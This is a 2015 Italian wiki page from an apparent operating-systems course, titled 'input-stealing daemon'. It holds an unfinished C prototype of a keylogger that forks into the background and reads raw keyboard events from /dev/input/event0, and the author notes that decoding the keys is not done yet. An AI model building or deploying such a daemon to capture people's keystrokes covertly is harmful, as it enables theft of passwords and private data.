Difference between revisions of "Demone ruba input"

From Sistemi Operativi
Jump to navigation Jump to search
(Created page with "L'idea era creare un demone che intercetta tutti gli input da tastiera e se li mette da parte, ovviamente richiede permessi di amministratore. Devo ancora fare la parte di let...")
(No difference)

Revision as of 12:05, 2 March 2015

L'idea era creare un demone che intercetta tutti gli input da tastiera e se li mette da parte, ovviamente richiede permessi di amministratore. Devo ancora fare la parte di lettura del carattere a partire dai valori nella struttura input_event, quindi per ora va in loop infinito.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <linux/input.h>

#define MAX_BUFFER 16

struct input_event inputs[MAX_BUFFER];

int main(int args, char* argv[])
{

   if(fork())
   {
      //Padre
      exit(0);
   }
   else
   {
      //Figlio
      printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid());
      int i = 0;
      int fd = open("/dev/input/event0", O_RDONLY);

      while(1)
      {
         //read(fd, &letto, sizeof(int));
         read(fd, inputs, sizeof(struct input_event) * MAX_BUFFER);
         for(i = 0; i < MAX_BUFFER; i++)
         {
            printf("%d:%d\t", inputs[i].value, i);
            if(inputs[i].value == 'q')
            {
               break;
            }
         }
         i++;
      }

      printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid());
      exit(0);
   }

   return 0;
}